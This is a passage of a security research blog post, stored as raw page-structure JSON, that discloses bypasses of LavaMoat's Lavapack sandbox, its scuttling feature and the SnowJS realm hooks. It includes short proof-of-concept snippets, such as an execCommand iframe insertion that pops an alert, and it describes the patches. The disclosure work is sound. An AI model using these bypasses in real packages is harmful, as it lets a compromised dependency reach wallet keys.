{\n",{"type":23,"tag":41,"props":49347,"children":49348},{"class":43,"line":905},[49349],{"type":23,"tag":41,"props":49350,"children":49351},{"emptyLinePlaceholder":18},[49352],{"type":28,"value":82},{"type":23,"tag":41,"props":49354,"children":49355},{"class":43,"line":922},[49356],{"type":23,"tag":41,"props":49357,"children":49358},{"style":48},[49359],{"type":28,"value":49360},"/*\n",{"type":23,"tag":41,"props":49362,"children":49363},{"class":43,"line":930},[49364],{"type":23,"tag":41,"props":49365,"children":49366},{"style":48},[49367],{"type":28,"value":49368},"*/\n",{"type":23,"tag":24,"props":49370,"children":49371},{},[49372],{"type":28,"value":49373},"This allows malicious code to execute without breaking any other package or feature. This payload also makes the supply chain attack more impactful. Any injected code is executed as soon as the bundle file is imported.",{"type":23,"tag":546,"props":49375,"children":49377},{"id":49376},"lavapack-patch",[49378],{"type":28,"value":49379},"Lavapack Patch",{"type":23,"tag":24,"props":49381,"children":49382},{},[49383,49385,49391],{"type":28,"value":49384},"Metamask mitigated the issues we reported on Lavapack by defining ",{"type":23,"tag":37,"props":49386,"children":49388},{"className":49387},[],[49389],{"type":28,"value":49390},"assertValidJS",{"type":28,"value":49392},", an independent check that differs from the browserify syntax check we used to exploit the issue.",{"type":23,"tag":24,"props":49394,"children":49395},{},[49396,49398,49405],{"type":28,"value":49397},"The patch was introduced in commit ",{"type":23,"tag":458,"props":49399,"children":49402},{"href":49400,"rel":49401},"https://github.com/LavaMoat/LavaMoat/commit/9c38cd47e7875dde53349dd34971c74ce34004d9",[462],[49403],{"type":28,"value":49404},"9c38cd4",{"type":28,"value":706},{"type":23,"tag":31,"props":49407,"children":49409},{"className":2215,"code":49408,"language":2214,"meta":7,"style":7},"+ function assertValidJS(code) {\n+  try {\n+    new Function(code)\n+  } catch (err) {\n+    throw new Error(`Invalid JavaScript: ${err.message}`)\n+  }\n+ }\n\n+  // additional layer of syntax checking independent of browserify\n+  assertValidJS(sourceMeta.code) \n\n",[49410],{"type":23,"tag":37,"props":49411,"children":49412},{"__ignoreMap":7},[49413,49421,49429,49437,49445,49453,49461,49469,49476,49484],{"type":23,"tag":41,"props":49414,"children":49415},{"class":43,"line":44},[49416],{"type":23,"tag":41,"props":49417,"children":49418},{"style":164},[49419],{"type":28,"value":49420},"+ function assertValidJS(code) {\n",{"type":23,"tag":41,"props":49422,"children":49423},{"class":43,"line":54},[49424],{"type":23,"tag":41,"props":49425,"children":49426},{"style":164},[49427],{"type":28,"value":49428},"+  try {\n",{"type":23,"tag":41,"props":49430,"children":49431},{"class":43,"line":76},[49432],{"type":23,"tag":41,"props":49433,"children":49434},{"style":164},[49435],{"type":28,"value":49436},"+    new Function(code)\n",{"type":23,"tag":41,"props":49438,"children":49439},{"class":43,"line":85},[49440],{"type":23,"tag":41,"props":49441,"children":49442},{"style":164},[49443],{"type":28,"value":49444},"+  } catch (err) {\n",{"type":23,"tag":41,"props":49446,"children":49447},{"class":43,"line":105},[49448],{"type":23,"tag":41,"props":49449,"children":49450},{"style":164},[49451],{"type":28,"value":49452},"+    throw new Error(`Invalid JavaScript: ${err.message}`)\n",{"type":23,"tag":41,"props":49454,"children":49455},{"class":43,"line":155},[49456],{"type":23,"tag":41,"props":49457,"children":49458},{"style":164},[49459],{"type":28,"value":49460},"+  }\n",{"type":23,"tag":41,"props":49462,"children":49463},{"class":43,"line":186},[49464],{"type":23,"tag":41,"props":49465,"children":49466},{"style":164},[49467],{"type":28,"value":49468},"+ }\n",{"type":23,"tag":41,"props":49470,"children":49471},{"class":43,"line":195},[49472],{"type":23,"tag":41,"props":49473,"children":49474},{"emptyLinePlaceholder":18},[49475],{"type":28,"value":82},{"type":23,"tag":41,"props":49477,"children":49478},{"class":43,"line":905},[49479],{"type":23,"tag":41,"props":49480,"children":49481},{"style":164},[49482],{"type":28,"value":49483},"+  // additional layer of syntax checking independent of browserify\n",{"type":23,"tag":41,"props":49485,"children":49486},{"class":43,"line":922},[49487],{"type":23,"tag":41,"props":49488,"children":49489},{"style":164},[49490],{"type":28,"value":49491},"+  assertValidJS(sourceMeta.code)\n",{"type":23,"tag":446,"props":49493,"children":49495},{"id":49494},"hacking-js-realms",[49496],{"type":28,"value":49497},"Hacking JS Realms",{"type":23,"tag":24,"props":49499,"children":49500},{},[49501,49503,49508],{"type":28,"value":49502},"Lavamoat scuttling removes unnecessary and dangerous attributes from the ",{"type":23,"tag":37,"props":49504,"children":49506},{"className":49505},[],[49507],{"type":28,"value":37412},{"type":28,"value":49509}," object. However, this can be easily bypassed when Lavamoat is running in a browser context.",{"type":23,"tag":31,"props":49511,"children":49513},{"className":31357,"code":49512,"language":31359,"meta":7,"style":7},"const w = window.open('/non_existent');\nw.alert(document.domain)\n",[49514],{"type":23,"tag":37,"props":49515,"children":49516},{"__ignoreMap":7},[49517,49559],{"type":23,"tag":41,"props":49518,"children":49519},{"class":43,"line":44},[49520,49524,49529,49533,49537,49541,49546,49550,49555],{"type":23,"tag":41,"props":49521,"children":49522},{"style":64},[49523],{"type":28,"value":846},{"type":23,"tag":41,"props":49525,"children":49526},{"style":858},[49527],{"type":28,"value":49528}," w",{"type":23,"tag":41,"props":49530,"children":49531},{"style":170},[49532],{"type":28,"value":3017},{"type":23,"tag":41,"props":49534,"children":49535},{"style":858},[49536],{"type":28,"value":31402},{"type":23,"tag":41,"props":49538,"children":49539},{"style":70},[49540],{"type":28,"value":706},{"type":23,"tag":41,"props":49542,"children":49543},{"style":114},[49544],{"type":28,"value":49545},"open",{"type":23,"tag":41,"props":49547,"children":49548},{"style":70},[49549],{"type":28,"value":1737},{"type":23,"tag":41,"props":49551,"children":49552},{"style":735},[49553],{"type":28,"value":49554},"'/non_existent'",{"type":23,"tag":41,"props":49556,"children":49557},{"style":70},[49558],{"type":28,"value":3825},{"type":23,"tag":41,"props":49560,"children":49561},{"class":43,"line":54},[49562,49567,49571,49575,49579,49583,49587,49591],{"type":23,"tag":41,"props":49563,"children":49564},{"style":858},[49565],{"type":28,"value":49566},"w",{"type":23,"tag":41,"props":49568,"children":49569},{"style":70},[49570],{"type":28,"value":706},{"type":23,"tag":41,"props":49572,"children":49573},{"style":114},[49574],{"type":28,"value":32691},{"type":23,"tag":41,"props":49576,"children":49577},{"style":70},[49578],{"type":28,"value":1737},{"type":23,"tag":41,"props":49580,"children":49581},{"style":858},[49582],{"type":28,"value":32701},{"type":23,"tag":41,"props":49584,"children":49585},{"style":70},[49586],{"type":28,"value":706},{"type":23,"tag":41,"props":49588,"children":49589},{"style":858},[49590],{"type":28,"value":32711},{"type":23,"tag":41,"props":49592,"children":49593},{"style":70},[49594],{"type":28,"value":1969},{"type":23,"tag":24,"props":49596,"children":49597},{},[49598,49600,49605],{"type":28,"value":49599},"This opens a new window with a new JS Realm (another ",{"type":23,"tag":37,"props":49601,"children":49603},{"className":49602},[],[49604],{"type":28,"value":37412},{"type":28,"value":49606}," object), and uses it to execute code in the context of the scuttled window. Note that the window needs to be same-origin and must not be scuttled.",{"type":23,"tag":24,"props":49608,"children":49609},{},[49610,49612,49619],{"type":28,"value":49611},"As a mitigation, some applications integrate SnowJS with scuttling, so every new same-origin window and iframe will be detected and scuttled (check the ",{"type":23,"tag":458,"props":49613,"children":49616},{"href":49614,"rel":49615},"https://github.com/MetaMask/metamask-extension/blob/3996f505a6a156d96077acb49579e6fc9e78cd45/app/scripts/use-snow.js#L22",[462],[49617],{"type":28,"value":49618},"Metamask implementation",{"type":28,"value":2678},{"type":23,"tag":546,"props":49621,"children":49623},{"id":49622},"snowjs-attack-surface",[49624],{"type":28,"value":49625},"SnowJS Attack Surface",{"type":23,"tag":24,"props":49627,"children":49628},{},[49629],{"type":28,"value":49630},"SnowJS is a javascript sandbox implementation that secures same-origin realms in browser applications. It is configured to detect new realms and attach them to the sandbox.",{"type":23,"tag":24,"props":49632,"children":49633},{},[49634,49636,49643],{"type":28,"value":49635},"As a mechanism, it hooks functions that can be used to create realms (an iframe, for example). For example, here are some of the ",{"type":23,"tag":458,"props":49637,"children":49640},{"href":49638,"rel":49639},"https://github.com/LavaMoat/snow/blob/ecf1add05c774b90b8baeff934b2e40585e13ca4/src/inserters.js#L9",[462],[49641],{"type":28,"value":49642},"hooked inserters",{"type":28,"value":49644}," functions:",{"type":23,"tag":31,"props":49646,"children":49648},{"className":31357,"code":49647,"language":31359,"meta":7,"style":7},"const map = {\n    Range: ['insertNode'],\n    DocumentFragment: ['replaceChildren', 'append', 'prepend'],\n    Document: ['replaceChildren', 'append', 'prepend', 'write', 'writeln'],\n    Node: ['appendChild', 'insertBefore', 'replaceChild'],\n    Element: ['innerHTML', 'outerHTML', 'insertAdjacentHTML', 'replaceWith', 'insertAdjacentElement', 'append', 'before', 'prepend', 'after', 'replaceChildren'],\n    ShadowRoot: ['innerHTML'],\n    HTMLIFrameElement: ['srcdoc'],\n};\n",[49649],{"type":23,"tag":37,"props":49650,"children":49651},{"__ignoreMap":7},[49652,49672,49693,49732,49786,49825,49924,49944,49965],{"type":23,"tag":41,"props":49653,"children":49654},{"class":43,"line":44},[49655,49659,49664,49668],{"type":23,"tag":41,"props":49656,"children":49657},{"style":64},[49658],{"type":28,"value":846},{"type":23,"tag":41,"props":49660,"children":49661},{"style":858},[49662],{"type":28,"value":49663}," map",{"type":23,"tag":41,"props":49665,"children":49666},{"style":170},[49667],{"type":28,"value":3017},{"type":23,"tag":41,"props":49669,"children":49670},{"style":70},[49671],{"type":28,"value":102},{"type":23,"tag":41,"props":49673,"children":49674},{"class":43,"line":54},[49675,49680,49684,49689],{"type":23,"tag":41,"props":49676,"children":49677},{"style":858},[49678],{"type":28,"value":49679},"    Range:",{"type":23,"tag":41,"props":49681,"children":49682},{"style":70},[49683],{"type":28,"value":23019},{"type":23,"tag":41,"props":49685,"children":49686},{"style":735},[49687],{"type":28,"value":49688},"'insertNode'",{"type":23,"tag":41,"props":49690,"children":49691},{"style":70},[49692],{"type":28,"value":14255},{"type":23,"tag":41,"props":49694,"children":49695},{"class":43,"line":76},[49696,49701,49705,49710,49714,49719,49723,49728],{"type":23,"tag":41,"props":49697,"children":49698},{"style":858},[49699],{"type":28,"value":49700},"    DocumentFragment:",{"type":23,"tag":41,"props":49702,"children":49703},{"style":70},[49704],{"type":28,"value":23019},{"type":23,"tag":41,"props":49706,"children":49707},{"style":735},[49708],{"type":28,"value":49709},"'replaceChildren'",{"type":23,"tag":41,"props":49711,"children":49712},{"style":70},[49713],{"type":28,"value":970},{"type":23,"tag":41,"props":49715,"children":49716},{"style":735},[49717],{"type":28,"value":49718},"'append'",{"type":23,"tag":41,"props":49720,"children":49721},{"style":70},[49722],{"type":28,"value":970},{"type":23,"tag":41,"props":49724,"children":49725},{"style":735},[49726],{"type":28,"value":49727},"'prepend'",{"type":23,"tag":41,"props":49729,"children":49730},{"style":70},[49731],{"type":28,"value":14255},{"type":23,"tag":41,"props":49733,"children":49734},{"class":43,"line":85},[49735,49740,49744,49748,49752,49756,49760,49764,49768,49773,49777,49782],{"type":23,"tag":41,"props":49736,"children":49737},{"style":858},[49738],{"type":28,"value":49739},"    Document:",{"type":23,"tag":41,"props":49741,"children":49742},{"style":70},[49743],{"type":28,"value":23019},{"type":23,"tag":41,"props":49745,"children":49746},{"style":735},[49747],{"type":28,"value":49709},{"type":23,"tag":41,"props":49749,"children":49750},{"style":70},[49751],{"type":28,"value":970},{"type":23,"tag":41,"props":49753,"children":49754},{"style":735},[49755],{"type":28,"value":49718},{"type":23,"tag":41,"props":49757,"children":49758},{"style":70},[49759],{"type":28,"value":970},{"type":23,"tag":41,"props":49761,"children":49762},{"style":735},[49763],{"type":28,"value":49727},{"type":23,"tag":41,"props":49765,"children":49766},{"style":70},[49767],{"type":28,"value":970},{"type":23,"tag":41,"props":49769,"children":49770},{"style":735},[49771],{"type":28,"value":49772},"'write'",{"type":23,"tag":41,"props":49774,"children":49775},{"style":70},[49776],{"type":28,"value":970},{"type":23,"tag":41,"props":49778,"children":49779},{"style":735},[49780],{"type":28,"value":49781},"'writeln'",{"type":23,"tag":41,"props":49783,"children":49784},{"style":70},[49785],{"type":28,"value":14255},{"type":23,"tag":41,"props":49787,"children":49788},{"class":43,"line":105},[49789,49794,49798,49803,49807,49812,49816,49821],{"type":23,"tag":41,"props":49790,"children":49791},{"style":858},[49792],{"type":28,"value":49793},"    Node:",{"type":23,"tag":41,"props":49795,"children":49796},{"style":70},[49797],{"type":28,"value":23019},{"type":23,"tag":41,"props":49799,"children":49800},{"style":735},[49801],{"type":28,"value":49802},"'appendChild'",{"type":23,"tag":41,"props":49804,"children":49805},{"style":70},[49806],{"type":28,"value":970},{"type":23,"tag":41,"props":49808,"children":49809},{"style":735},[49810],{"type":28,"value":49811},"'insertBefore'",{"type":23,"tag":41,"props":49813,"children":49814},{"style":70},[49815],{"type":28,"value":970},{"type":23,"tag":41,"props":49817,"children":49818},{"style":735},[49819],{"type":28,"value":49820},"'replaceChild'",{"type":23,"tag":41,"props":49822,"children":49823},{"style":70},[49824],{"type":28,"value":14255},{"type":23,"tag":41,"props":49826,"children":49827},{"class":43,"line":155},[49828,49833,49837,49842,49846,49851,49855,49860,49864,49869,49873,49878,49882,49886,49890,49895,49899,49903,49907,49912,49916,49920],{"type":23,"tag":41,"props":49829,"children":49830},{"style":858},[49831],{"type":28,"value":49832},"    Element:",{"type":23,"tag":41,"props":49834,"children":49835},{"style":70},[49836],{"type":28,"value":23019},{"type":23,"tag":41,"props":49838,"children":49839},{"style":735},[49840],{"type":28,"value":49841},"'innerHTML'",{"type":23,"tag":41,"props":49843,"children":49844},{"style":70},[49845],{"type":28,"value":970},{"type":23,"tag":41,"props":49847,"children":49848},{"style":735},[49849],{"type":28,"value":49850},"'outerHTML'",{"type":23,"tag":41,"props":49852,"children":49853},{"style":70},[49854],{"type":28,"value":970},{"type":23,"tag":41,"props":49856,"children":49857},{"style":735},[49858],{"type":28,"value":49859},"'insertAdjacentHTML'",{"type":23,"tag":41,"props":49861,"children":49862},{"style":70},[49863],{"type":28,"value":970},{"type":23,"tag":41,"props":49865,"children":49866},{"style":735},[49867],{"type":28,"value":49868},"'replaceWith'",{"type":23,"tag":41,"props":49870,"children":49871},{"style":70},[49872],{"type":28,"value":970},{"type":23,"tag":41,"props":49874,"children":49875},{"style":735},[49876],{"type":28,"value":49877},"'insertAdjacentElement'",{"type":23,"tag":41,"props":49879,"children":49880},{"style":70},[49881],{"type":28,"value":970},{"type":23,"tag":41,"props":49883,"children":49884},{"style":735},[49885],{"type":28,"value":49718},{"type":23,"tag":41,"props":49887,"children":49888},{"style":70},[49889],{"type":28,"value":970},{"type":23,"tag":41,"props":49891,"children":49892},{"style":735},[49893],{"type":28,"value":49894},"'before'",{"type":23,"tag":41,"props":49896,"children":49897},{"style":70},[49898],{"type":28,"value":970},{"type":23,"tag":41,"props":49900,"children":49901},{"style":735},[49902],{"type":28,"value":49727},{"type":23,"tag":41,"props":49904,"children":49905},{"style":70},[49906],{"type":28,"value":970},{"type":23,"tag":41,"props":49908,"children":49909},{"style":735},[49910],{"type":28,"value":49911},"'after'",{"type":23,"tag":41,"props":49913,"children":49914},{"style":70},[49915],{"type":28,"value":970},{"type":23,"tag":41,"props":49917,"children":49918},{"style":735},[49919],{"type":28,"value":49709},{"type":23,"tag":41,"props":49921,"children":49922},{"style":70},[49923],{"type":28,"value":14255},{"type":23,"tag":41,"props":49925,"children":49926},{"class":43,"line":186},[49927,49932,49936,49940],{"type":23,"tag":41,"props":49928,"children":49929},{"style":858},[49930],{"type":28,"value":49931},"    ShadowRoot:",{"type":23,"tag":41,"props":49933,"children":49934},{"style":70},[49935],{"type":28,"value":23019},{"type":23,"tag":41,"props":49937,"children":49938},{"style":735},[49939],{"type":28,"value":49841},{"type":23,"tag":41,"props":49941,"children":49942},{"style":70},[49943],{"type":28,"value":14255},{"type":23,"tag":41,"props":49945,"children":49946},{"class":43,"line":195},[49947,49952,49956,49961],{"type":23,"tag":41,"props":49948,"children":49949},{"style":858},[49950],{"type":28,"value":49951},"    HTMLIFrameElement:",{"type":23,"tag":41,"props":49953,"children":49954},{"style":70},[49955],{"type":28,"value":23019},{"type":23,"tag":41,"props":49957,"children":49958},{"style":735},[49959],{"type":28,"value":49960},"'srcdoc'",{"type":23,"tag":41,"props":49962,"children":49963},{"style":70},[49964],{"type":28,"value":14255},{"type":23,"tag":41,"props":49966,"children":49967},{"class":43,"line":905},[49968],{"type":23,"tag":41,"props":49969,"children":49970},{"style":70},[49971],{"type":28,"value":936},{"type":23,"tag":24,"props":49973,"children":49974},{},[49975],{"type":28,"value":49976},"This means that an attacker can't use any of these functions to create an iframe and bypass the snowJS sandbox, because it will detect the new frame and include it in the sandbox.",{"type":23,"tag":24,"props":49978,"children":49979},{},[49980],{"type":28,"value":49981},"Unfortunately, client-side javascript is surprisingly complex with lots of strange behaviours that could be used to bypass the hook security feature.",{"type":23,"tag":546,"props":49983,"children":49985},{"id":49984},"bypassing-snowjs",[49986],{"type":28,"value":49987},"Bypassing SnowJS",{"type":23,"tag":24,"props":49989,"children":49990},{},[49991,49993,50004,50006,50012],{"type":28,"value":49992},"The deprecated ",{"type":23,"tag":458,"props":49994,"children":49997},{"href":49995,"rel":49996},"https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand",[462],[49998],{"type":23,"tag":37,"props":49999,"children":50001},{"className":50000},[],[50002],{"type":28,"value":50003},"document.execCommand",{"type":28,"value":50005}," function is used to execute commands inside a ",{"type":23,"tag":37,"props":50007,"children":50009},{"className":50008},[],[50010],{"type":28,"value":50011},"contenteditable",{"type":28,"value":50013}," focused context. Despite this being a deprecated function, it is still supported by modern browsers.",{"type":23,"tag":31,"props":50015,"children":50018},{"className":50016,"code":50017,"language":32377,"meta":7,"style":7},"language-html shiki shiki-themes slack-dark","\u003Cdiv id=test contenteditable autofocus>\u003C/div>\n",[50019],{"type":23,"tag":37,"props":50020,"children":50021},{"__ignoreMap":7},[50022],{"type":23,"tag":41,"props":50023,"children":50024},{"class":43,"line":44},[50025,50029,50033,50037,50041,50046,50051,50056,50061,50065],{"type":23,"tag":41,"props":50026,"children":50027},{"style":32370},[50028],{"type":28,"value":1012},{"type":23,"tag":41,"props":50030,"children":50031},{"style":64},[50032],{"type":28,"value":31340},{"type":23,"tag":41,"props":50034,"children":50035},{"style":858},[50036],{"type":28,"value":32450},{"type":23,"tag":41,"props":50038,"children":50039},{"style":70},[50040],{"type":28,"value":2381},{"type":23,"tag":41,"props":50042,"children":50043},{"style":735},[50044],{"type":28,"value":50045},"test",{"type":23,"tag":41,"props":50047,"children":50048},{"style":858},[50049],{"type":28,"value":50050}," contenteditable",{"type":23,"tag":41,"props":50052,"children":50053},{"style":858},[50054],{"type":28,"value":50055}," autofocus",{"type":23,"tag":41,"props":50057,"children":50058},{"style":32370},[50059],{"type":28,"value":50060},">\u003C/",{"type":23,"tag":41,"props":50062,"children":50063},{"style":64},[50064],{"type":28,"value":31340},{"type":23,"tag":41,"props":50066,"children":50067},{"style":32370},[50068],{"type":28,"value":773},{"type":23,"tag":24,"props":50070,"children":50071},{},[50072,50074,50080,50082,50087],{"type":28,"value":50073},"After inserting this element to a page, it is possible to use ",{"type":23,"tag":37,"props":50075,"children":50077},{"className":50076},[],[50078],{"type":28,"value":50079},"insertHTML",{"type":28,"value":50081}," command of ",{"type":23,"tag":37,"props":50083,"children":50085},{"className":50084},[],[50086],{"type":28,"value":50003},{"type":28,"value":50088}," to add a non-sandboxed iframe.",{"type":23,"tag":31,"props":50090,"children":50092},{"className":31357,"code":50091,"language":31359,"meta":7,"style":7},"document.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\n",[50093],{"type":23,"tag":37,"props":50094,"children":50095},{"__ignoreMap":7},[50096],{"type":23,"tag":41,"props":50097,"children":50098},{"class":43,"line":44},[50099,50103,50107,50112,50116,50121,50125,50129,50133,50138],{"type":23,"tag":41,"props":50100,"children":50101},{"style":858},[50102],{"type":28,"value":32701},{"type":23,"tag":41,"props":50104,"children":50105},{"style":70},[50106],{"type":28,"value":706},{"type":23,"tag":41,"props":50108,"children":50109},{"style":114},[50110],{"type":28,"value":50111},"execCommand",{"type":23,"tag":41,"props":50113,"children":50114},{"style":70},[50115],{"type":28,"value":1737},{"type":23,"tag":41,"props":50117,"children":50118},{"style":735},[50119],{"type":28,"value":50120},"'insertHTML'",{"type":23,"tag":41,"props":50122,"children":50123},{"style":70},[50124],{"type":28,"value":970},{"type":23,"tag":41,"props":50126,"children":50127},{"style":64},[50128],{"type":28,"value":8174},{"type":23,"tag":41,"props":50130,"children":50131},{"style":70},[50132],{"type":28,"value":970},{"type":23,"tag":41,"props":50134,"children":50135},{"style":735},[50136],{"type":28,"value":50137},"'\u003Ciframe srcdoc=\"aaa\">'",{"type":23,"tag":41,"props":50139,"children":50140},{"style":70},[50141],{"type":28,"value":3825},{"type":23,"tag":546,"props":50143,"children":50145},{"id":50144},"impact-on-lavamoat-scuttling",[50146],{"type":28,"value":50147},"Impact On Lavamoat Scuttling",{"type":23,"tag":24,"props":50149,"children":50150},{},[50151],{"type":28,"value":50152},"As it is recommended to use snowJS integrated with Lavamoat scuttling to prevent bypasses, it is possible to completely bypass the scuttling feature without pre-conditions.",{"type":23,"tag":24,"props":50154,"children":50155},{},[50156,50158,50163,50165,50170],{"type":28,"value":50157},"For the exploit, the only used functions are in ",{"type":23,"tag":37,"props":50159,"children":50161},{"className":50160},[],[50162],{"type":28,"value":32701},{"type":28,"value":50164}," object, which can never be scuttled once it is a non-writable and non-configurable property in ",{"type":23,"tag":37,"props":50166,"children":50168},{"className":50167},[],[50169],{"type":28,"value":37412},{"type":28,"value":50171}," object.",{"type":23,"tag":24,"props":50173,"children":50174},{},[50175,50177,50182],{"type":28,"value":50176},"Consider this example, which runs a scuttled ",{"type":23,"tag":37,"props":50178,"children":50180},{"className":50179},[],[50181],{"type":28,"value":32691},{"type":28,"value":25467},{"type":23,"tag":31,"props":50184,"children":50186},{"className":31357,"code":50185,"language":31359,"meta":7,"style":7},"document.body.innerHTML = \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\";\ndocument.getElementById('test').focus();\ndocument.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\ndocument.getElementsByTagName('iframe')[0].contentWindow.alert(document.domain);\n",[50187],{"type":23,"tag":37,"props":50188,"children":50189},{"__ignoreMap":7},[50190,50226,50263,50306],{"type":23,"tag":41,"props":50191,"children":50192},{"class":43,"line":44},[50193,50197,50201,50205,50209,50213,50217,50222],{"type":23,"tag":41,"props":50194,"children":50195},{"style":858},[50196],{"type":28,"value":32701},{"type":23,"tag":41,"props":50198,"children":50199},{"style":70},[50200],{"type":28,"value":706},{"type":23,"tag":41,"props":50202,"children":50203},{"style":858},[50204],{"type":28,"value":32394},{"type":23,"tag":41,"props":50206,"children":50207},{"style":70},[50208],{"type":28,"value":706},{"type":23,"tag":41,"props":50210,"children":50211},{"style":858},[50212],{"type":28,"value":34966},{"type":23,"tag":41,"props":50214,"children":50215},{"style":170},[50216],{"type":28,"value":3017},{"type":23,"tag":41,"props":50218,"children":50219},{"style":735},[50220],{"type":28,"value":50221}," \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\"",{"type":23,"tag":41,"props":50223,"children":50224},{"style":70},[50225],{"type":28,"value":183},{"type":23,"tag":41,"props":50227,"children":50228},{"class":43,"line":54},[50229,50233,50237,50241,50245,50250,50254,50259],{"type":23,"tag":41,"props":50230,"children":50231},{"style":858},[50232],{"type":28,"value":32701},{"type":23,"tag":41,"props":50234,"children":50235},{"style":70},[50236],{"type":28,"value":706},{"type":23,"tag":41,"props":50238,"children":50239},{"style":114},[50240],{"type":28,"value":34991},{"type":23,"tag":41,"props":50242,"children":50243},{"style":70},[50244],{"type":28,"value":1737},{"type":23,"tag":41,"props":50246,"children":50247},{"style":735},[50248],{"type":28,"value":50249},"'test'",{"type":23,"tag":41,"props":50251,"children":50252},{"style":70},[50253],{"type":28,"value":20729},{"type":23,"tag":41,"props":50255,"children":50256},{"style":114},[50257],{"type":28,"value":50258},"focus",{"type":23,"tag":41,"props":50260,"children":50261},{"style":70},[50262],{"type":28,"value":3669},{"type":23,"tag":41,"props":50264,"children":50265},{"class":43,"line":76},[50266,50270,50274,50278,50282,50286,50290,50294,50298,50302],{"type":23,"tag":41,"props":50267,"children":50268},{"style":858},[50269],{"type":28,"value":32701},{"type":23,"tag":41,"props":50271,"children":50272},{"style":70},[50273],{"type":28,"value":706},{"type":23,"tag":41,"props":50275,"children":50276},{"style":114},[50277],{"type":28,"value":50111},{"type":23,"tag":41,"props":50279,"children":50280},{"style":70},[50281],{"type":28,"value":1737},{"type":23,"tag":41,"props":50283,"children":50284},{"style":735},[50285],{"type":28,"value":50120},{"type":23,"tag":41,"props":50287,"children":50288},{"style":70},[50289],{"type":28,"value":970},{"type":23,"tag":41,"props":50291,"children":50292},{"style":64},[50293],{"type":28,"value":8174},{"type":23,"tag":41,"props":50295,"children":50296},{"style":70},[50297],{"type":28,"value":970},{"type":23,"tag":41,"props":50299,"children":50300},{"style":735},[50301],{"type":28,"value":50137},{"type":23,"tag":41,"props":50303,"children":50304},{"style":70},[50305],{"type":28,"value":3825},{"type":23,"tag":41,"props":50307,"children":50308},{"class":43,"line":85},[50309,50313,50317,50322,50326,50330,50335,50339,50344,50349,50353,50357,50361,50365,50369,50373],{"type":23,"tag":41,"props":50310,"children":50311},{"style":858},[50312],{"type":28,"value":32701},{"type":23,"tag":41,"props":50314,"children":50315},{"style":70},[50316],{"type":28,"value":706},{"type":23,"tag":41,"props":50318,"children":50319},{"style":114},[50320],{"type":28,"value":50321},"getElementsByTagName",{"type":23,"tag":41,"props":50323,"children":50324},{"style":70},[50325],{"type":28,"value":1737},{"type":23,"tag":41,"props":50327,"children":50328},{"style":735},[50329],{"type":28,"value":36725},{"type":23,"tag":41,"props":50331,"children":50332},{"style":70},[50333],{"type":28,"value":50334},")[",{"type":23,"tag":41,"props":50336,"children":50337},{"style":164},[50338],{"type":28,"value":4024},{"type":23,"tag":41,"props":50340,"children":50341},{"style":70},[50342],{"type":28,"value":50343},"].",{"type":23,"tag":41,"props":50345,"children":50346},{"style":858},[50347],{"type":28,"value":50348},"contentWindow",{"type":23,"tag":41,"props":50350,"children":50351},{"style":70},[50352],{"type":28,"value":706},{"type":23,"tag":41,"props":50354,"children":50355},{"style":114},[50356],{"type":28,"value":32691},{"type":23,"tag":41,"props":50358,"children":50359},{"style":70},[50360],{"type":28,"value":1737},{"type":23,"tag":41,"props":50362,"children":50363},{"style":858},[50364],{"type":28,"value":32701},{"type":23,"tag":41,"props":50366,"children":50367},{"style":70},[50368],{"type":28,"value":706},{"type":23,"tag":41,"props":50370,"children":50371},{"style":858},[50372],{"type":28,"value":32711},{"type":23,"tag":41,"props":50374,"children":50375},{"style":70},[50376],{"type":28,"value":3825},{"type":23,"tag":546,"props":50378,"children":50380},{"id":50379},"snowjs-patch",[50381],{"type":28,"value":50382},"SnowJS Patch",{"type":23,"tag":24,"props":50384,"children":50385},{},[50386,50388,50395,50397,50404],{"type":28,"value":50387},"Metamask is working on conceptual changes and aiming to integrate SnowJS as a ",{"type":23,"tag":458,"props":50389,"children":50392},{"href":50390,"rel":50391},"https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html#talk",[462],[50393],{"type":28,"value":50394},"browser feature within W3C standards",{"type":28,"value":50396},", with the intention of addressing not only this issue, but also all other well-known issues with SnowJS. ",{"type":23,"tag":458,"props":50398,"children":50401},{"href":50399,"rel":50400},"https://github.com/weizman/Realms-Initialization-Control",[462],[50402],{"type":28,"value":50403},"Here",{"type":28,"value":50405}," is their new proposal.",{"type":23,"tag":446,"props":50407,"children":50409},{"id":50408},"chaining-the-impacts",[50410],{"type":28,"value":50411},"Chaining The Impacts",{"type":23,"tag":24,"props":50413,"children":50414},{},[50415],{"type":28,"value":50416},"We were able to find two vulnerabilities in lavamoat project:",{"type":23,"tag":5436,"props":50418,"children":50419},{},[50420,50425],{"type":23,"tag":421,"props":50421,"children":50422},{},[50423],{"type":28,"value":50424},"Policy File Bypass",{"type":23,"tag":421,"props":50426,"children":50427},{},[50428],{"type":28,"value":50429},"Scuttling Bypass",{"type":23,"tag":24,"props":50431,"children":50432},{},[50433],{"type":28,"value":50434},"By combining the exploits, it is possible to completely bypass lavamoat supply-chain protections using a compromised dependency.",{"type":23,"tag":24,"props":50436,"children":50437},{},[50438],{"type":28,"value":50439},"Using Metamask as an example, these exploits could be used to retrieve the encrypted keypair in extension storage. The only precondition would be compromising a NPM dependency.",{"type":23,"tag":446,"props":50441,"children":50442},{"id":2811},[50443],{"type":28,"value":2814},{"type":23,"tag":24,"props":50445,"children":50446},{},[50447],{"type":28,"value":50448},"The vulnerability within the Lavapack module sandboxing, along with the issues we discussed regarding SnowJs and the Scuttling feature, illustrate the complexities of mitigating supply chain attacks within the JavaScript ecosystem. While the lavapack release with a mitigation was available in under two days, the inherent complexity makes designing robust security implementations a challenging task.",{"type":23,"tag":31340,"props":50450,"children":50451},{"style":31342},[50452],{"type":23,"tag":3918,"props":50453,"children":50456},{"src":50454,"alt":50455,"style":31348},"/posts/supply-chain-attacks-a-new-era/hello-otter.gif","Hello Otetr",[],{"type":23,"tag":18410,"props":50458,"children":50460},{"className":50459,"dataFootnotes":7},[18413],[50461,50466],{"type":23,"tag":446,"props":50462,"children":50464},{"className":50463,"id":15472},[18418],[50465],{"type":28,"value":18421},{"type":23,"tag":5436,"props":50467,"children":50468},{},[50469],{"type":23,"tag":421,"props":50470,"children":50471},{"id":30360},[50472,50474,50481,50482],{"type":28,"value":50473},"Excluding SES, which was covered 